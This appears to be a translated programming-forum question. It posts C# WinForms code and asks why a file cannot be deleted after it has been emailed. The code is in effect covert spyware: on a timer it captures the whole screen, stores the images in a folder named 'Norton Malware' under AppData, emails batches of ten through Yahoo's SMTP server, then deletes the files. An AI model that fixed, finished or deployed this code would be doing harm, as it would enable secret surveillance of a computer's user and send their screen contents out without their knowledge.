我想通过smtp发送图片并在之后将其删除。
int i = 1;
string time;
System.Net.Mail.Attachment a;
MailMessage mail = new MailMessage();
private void button1_Click(object sender, EventArgs e)
{
/*Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics g = Graphics.FromImage(bm);
g.CopyFromScreen(0, 0, 0, 0, bm.Size);
pictureBox.Image = bm;
bm.Save("C:\\Users\\iuli\\Desktop\\image.jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
*/
if (!Directory.Exists(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware"))
{
Directory.CreateDirectory(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware");
}
}
private void button2_Click(object sender, EventArgs e)
{
try
{
SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");
mail.From = new MailAddress("mail");
mail.To.Add("mail");
mail.Subject = "Test Mail";
mail.Body = "This is for testing SMTP mail from GMAIL";
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "mail");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
MessageBox.Show("mail Send");
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (i <= 10)
{
Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics g = Graphics.FromImage(bm);
g.CopyFromScreen(0, 0, 0, 0, bm.Size);
//pictureBox.Image = bm;
bm.Save("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image" + i + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
time = DateTime.Now.ToString("h:mm:ss tt");
}
if(i == 1)
{
a = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
mail.Attachments.Add(a);
}
else if (i == 2)
{
System.Net.Mail.Attachment b;
b = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");
mail.Attachments.Add(b);
mail.Attachments.Remove(a);
File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
}
else if (i == 3)
{
System.Net.Mail.Attachment c;
c = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image3.jpeg");
mail.Attachments.Add(c);
}
else if (i == 4)
{
System.Net.Mail.Attachment d;
d = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image4.jpeg");
mail.Attachments.Add(d);
}
else if (i == 5)
{
System.Net.Mail.Attachment ee;
ee = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image5.jpeg");
mail.Attachments.Add(ee);
}
else if (i == 6)
{
System.Net.Mail.Attachment f;
f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image6.jpeg");
mail.Attachments.Add(f);
}
else if (i == 7)
{
System.Net.Mail.Attachment f;
f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image7.jpeg");
mail.Attachments.Add(f);
}
else if (i == 8)
{
System.Net.Mail.Attachment g;
g = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image8.jpeg");
mail.Attachments.Add(g);
}
else if (i == 9)
{
System.Net.Mail.Attachment h;
h = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image9.jpeg");
mail.Attachments.Add(h);
}
else if (i == 10)
{
System.Net.Mail.Attachment ii;
ii = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image10.jpeg");
mail.Attachments.Add(ii);
SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");
mail.From = new MailAddress("mail");
mail.To.Add("mail");
mail.Subject = "Test Mail";
mail.Body = "This is for testing SMTP mail from GMAIL";
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
MessageBox.Show("mail Send");
if (File.Exists(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg"))
{
File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
}
}
else { i = 1; }
i += 1;
}
}
}
发送电子邮件后，将其删除：
File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");
但是我得到一个错误，说明文件被另一个进程使用。